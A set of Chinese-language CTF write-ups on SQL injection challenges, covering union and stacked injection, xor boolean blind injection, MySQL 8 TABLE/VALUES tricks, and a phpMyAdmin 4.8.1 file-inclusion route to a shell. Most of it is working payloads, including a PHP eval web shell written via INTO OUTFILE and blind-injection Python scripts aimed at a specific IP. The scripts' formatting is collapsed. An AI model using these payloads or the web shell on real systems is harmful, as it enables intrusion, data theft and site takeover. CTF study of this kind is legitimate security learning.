BUU SQL COURSE 1
知识点:寻找注入点,union手工注入,https://baijiahao.baidu.com/s?id=1595349117525189591&wfr=spider&for=pc
在登录框尝试万能密码等没用发现注入点
burp抓包发现id参数:
?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables )—+,发现flag表名
这里直接查flag查不出,查询当前数据库表名
?id=-1 union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database())—+
然后来查询列名:
?id=-1 union select 1,(select group_concat(column_name) from information_schema.columns where table_name=’admin’)—+
这里想要让账户密码一起输出的话,使用concat函数来连接字符串输出:
?id=-1 union select 1,(select concat(username,0x3a,password) from admin where id=1)—+
用注入出的账户密码直接登录
成功登录获得flag
强网杯-随便注
知识点:堆叠注入的使用条件十分有限,其可能受到API或者数据库引擎,又或者权限的限制只有当调用数据库函数支持执行多条sql语句时才能够使用,利用mysqlimulti_query()函数就支持多条sql语句同时执行,但实际情况中,如PHP为了防止sql注入机制,往往使用调用数据库的函数是mysqli query()函数,其只能执行一条语句,分号后面的内容将不会被执行,所以可以说堆叠注入的使用条件十分有限,一旦能够被使用,将可能对网站造成十分大的威胁。
?inject=1' order by 2--+
得到字段数为2列
?inject=1' ;show databases;--+
得到数据库名称
?inject=1' ;show columns from1919810931114514;--+
表名处用反引号包裹或者用16进制代替
linux下不区分,windows下区分区别:单引号( ' )或双引号主要用于字符串的引用符号eg:mysql> SELECT 'hello', "hello" ;反勾号( ` )主要用于数据库、表、索引、列和别名用的引用符是[Esc下面的键]eg:`mysql>SELECT * FROM `table` WHERE `from` = 'abc' ;
①先把words表改为word1
②再利用rename将1919810931114514这个表修改为word
③再将flag字段修改成id
构造payload:
1';RENAME TABLE `words` TO `words1`;RENAME TABLE `1919810931114514` TO `words`;ALTER TABLE `words` CHANGE `flag` `id` VARCHAR(100) CHARACTER SET utf8 COLLATE utf8_general_ci NOT NULL;show columns from words;#
[GWCTF 2019]我有一个数据库
直接网络里面查看源码:
使用dirsearch扫描:
phpmyadmin 4.8.1
存在文件包含漏洞?target=db_datadict.php%253f/../../../../../../../../flag
执行 select “<?php phpinfo();?>”
F12 查看cookie值
然后包含session文件
?target=db_datadict.php%253f/../../../../../../../../var/lib/php/sessions/sess_gl99v45oh4gjv3ner07pj25tbg
找到绝对路径/var/www/html
select @@secure_file_priv 
secure_file_priv 为 NULL +绝对路径+phpmyadmin=getshell
select “<?php eval($_POST[‘hacker’]);?>” into OUTFILE “/var/www/html/hacker.php”
这里直接写shell 也可用日志文件写shell方式:
[极客大挑战 2019]FinalSQL
注入点在点击的id处
这里使用异或(数字型)的方式来实现bool盲注
原理:1^1=0 1^0=1 我们可以把异或后面的数替换为用来表达真假的SQL语句,然后利用substr等函数来逐位判断字符
issc SQL一题
知识点:MySQL8 新特性注入:
基础学习:
https://juejin.cn/post/6997306070955720717
这种注入有四个坑点(这篇文章)
https://blog.csdn.net/rfrder/article/details/118726022
判断 and 1 and 0 回显不同注入存在
准备union直接盲注的时候,发现禁用select,
先用盲注脚本获得版本号等信息
import requestsreq=requests.session()flag=""for j in range(1,500):sta=32end=128while sta < end:# print(sta,end)mid = (sta+end)//2payload=f"http://59.110.159.206:7010/?id=1 and (ascii(substr(version(),{j},1))>{mid})--+"res=req.get(url=payload)print(payload)if(end==sta+1):breakif 'Dumb' in res.text:sta=midelse:end=midprint(mid)if min !=32:flag+=chr(mid+1)else:breakprint(flag)
数据库为mysql,版本8.0.28
可以用新特性注入
判断字段数
?id=-1/**/union/**/values/**/row('1','2','3')?id=-1/**/union/**/values/**/row('1',database(),'3')
获得当前数据库名
用下面垃圾脚本一位位爆表名:
有users,email,FLAG,表
users表和FLAG表都可以爆出字段值
但是email表死活爆不出来
import requestsreq = requests.session()for i in '/0123456789:;ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz_.{|}~':payload = f"http://59.110.159.206:7010/?id=1 and (('{i}','')<(table information_schema.TABLESPACES_EXTENSIONS limit 4,1))--+"# payload = f"http://59.110.159.206:7010/?id=1 and (('','')<(table users limit 6,1))--+"res = req.get(url=payload)print(payload)print(res.text)if 'Dumb' in res.text:print(i)
[http://59.110.159.206:7010/?id=1](http://59.110.159.206:7010/?id=1) and (('{i}','')<(table information_schema.TABLESPACES_EXTENSIONS limit 4,1))--+
爆表名payload = f"[http://59.110.159.206:7010/?id=1](http://59.110.159.206:7010/?id=1) and (('','')<(table users limit 6,1))--+"
爆user表的字段值(先要测出字段数)
因为盲注爆不出emails的值,直接用
table +limit来查邮箱:
?id=-1//union//table emails limit 7,1
获得源码:
下载源码有username 和passwd参数:
从user表爆出 admin,但是没有passwd,
使用 values 创建一个新表username=-1' union values row("admin","admin","admin")%23&passwd=admin
覆盖密码为admin,直接出flag
